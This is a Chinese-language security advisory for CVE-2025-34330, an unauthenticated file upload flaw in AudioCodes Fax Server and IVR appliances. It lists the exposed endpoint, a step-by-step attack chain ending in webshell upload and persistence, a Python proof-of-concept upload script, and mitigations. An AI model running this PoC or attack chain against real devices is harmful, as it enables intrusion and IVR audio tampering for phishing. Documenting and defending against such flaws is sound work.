IPBUF安全漏洞报告
English
CVE-2025-34330 CVSS 5.3 中危

CVE-2025-34330 AudioCodes IVR设备未授权文件上传漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-34330
漏洞类型
未授权文件上传
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AudioCodes Fax Server and Auto-Attendant IVR appliances

相关标签

CVE-2025-34330未授权文件上传AudioCodesIVR漏洞Fax ServerF2MAdminWeb管理漏洞文件上传绕过音频篡改

漏洞概述

CVE-2025-34330是AudioCodes公司Fax Server和Auto-Attendant IVR(交互式语音应答)设备中的一个严重安全漏洞。该漏洞存在于Web管理组件F2MAdmin中的一个未认证文件上传端点ajaxPromptUploadFile.php。该端点位于AudioCodes_files/utils/IVR/diagram/路径下,允许远程未经身份验证的攻击者上传任意文件。攻击者可以利用此漏洞将恶意文件写入服务器的C:\F2MAdmin\tmp目录,文件名由应用程序常量决定。由于系统缺乏任何身份验证、授权检查或文件类型验证机制,攻击者可以上传或覆盖提示音(prompt)或音乐保持(music-on-hold)相关的音频文件。这可能导致IVR音频内容被篡改,攻击者可以替换合法的语音提示为钓鱼信息、误导性指令或其他恶意内容。此外,攻击者还可以利用此漏洞为后续攻击准备文件,例如上传 webshell 以实现远程代码执行。此漏洞的CVSS评分为5.3,属于中等严重程度,主要风险在于无需任何认证即可利用,以及可能造成的完整性影响。

技术细节

该漏洞的技术根源在于AudioCodes IVR设备的Web管理界面存在严重的访问控制缺陷。具体来说,F2MAdmin组件中的ajaxPromptUploadFile.php脚本在处理文件上传请求时存在以下安全问题:

1. **缺失身份验证**:端点没有实现任何会话验证或认证机制,任何网络可达的客户端都可以直接访问该上传接口。

2. **不安全的上传处理**:脚本接受用户上传的文件后,使用应用程序预定义的常量来构造目标文件名,而不是使用用户提供的原始文件名。这导致文件被写入C:\F2MAdmin\tmp目录,攻击者可以控制上传的内容但不能控制保存的文件名。

3. **无文件类型验证**:系统没有对上传文件的MIME类型、扩展名或内容进行任何验证,允许任意文件类型上传。

4. **路径可预测**:由于目标目录和文件名格式固定,攻击者可以反复上传文件并覆盖现有内容。

利用此漏洞的攻击者可以上传包含恶意代码的文件(如PHP脚本、ASP文件等),然后通过其他漏洞或配置错误将这些文件移动到Web根目录,从而实现远程代码执行。或者直接篡改IVR系统的语音提示内容,用于社会工程攻击。

攻击链分析

STEP 1
步骤1
识别目标:攻击者扫描互联网或内部网络,识别运行AudioCodes Fax Server或Auto-Attendant IVR设备的服务器
STEP 2
步骤2
探测端点:访问目标服务器的/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php端点,确认其可访问且无认证要求
STEP 3
步骤3
构造恶意文件:准备包含恶意代码的文件,如PHP webshell、ASP脚本或被篡改的音频文件
STEP 4
步骤4
上传文件:通过HTTP POST请求将恶意文件上传至ajaxPromptUploadFile.php端点,文件将被写入C:\F2MAdmin\tmp目录
STEP 5
步骤5
文件利用:根据攻击目标,通过其他漏洞或配置错误将上传的文件移动到Web可执行目录,或直接利用篡改的IVR音频内容进行钓鱼攻击
STEP 6
步骤6
持久化控制:通过webshell或其他后门实现远程代码执行,建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-34330 - AudioCodes IVR Unauthenticated File Upload PoC This PoC demonstrates the unauthenticated file upload vulnerability in AudioCodes Fax Server and Auto-Attendant IVR appliances. """ import requests import sys TARGET_URL = "http://target.com/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php" def upload_file(file_content, filename="test.txt"): """ Upload a file to the vulnerable endpoint """ files = { 'file': (filename, file_content, 'application/octet-stream') } try: response = requests.post(TARGET_URL, files=files, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] File upload request completed") return True else: print("[-] Upload failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL (e.g., http://192.168.1.100): ") target_url = f"{target}/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php" # Test file upload with simple text content test_content = b"Test file content for CVE-2025-34330" print("[*] CVE-2025-34330 AudioCodes IVR File Upload PoC") print("[*] Target: " + target_url) upload_file(test_content, "poc_test.txt") if __name__ == "__main__": main()

影响范围

AudioCodes Fax Server <= 2.6.23
AudioCodes Auto-Attendant IVR <= 2.6.23

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过网络ACL或防火墙规则限制对/AudioCodes_files/utils/IVR/diagram/路径的访问,只允许受信任的管理IP访问;2) 禁用或删除不必要的Web管理组件;3) 监控Web服务器日志,查找对ajaxPromptUploadFile.php的异常请求;4) 考虑使用外部负载均衡器或反向代理添加额外的访问控制层;5) 定期审计IVR系统的音频文件完整性,确保未被篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表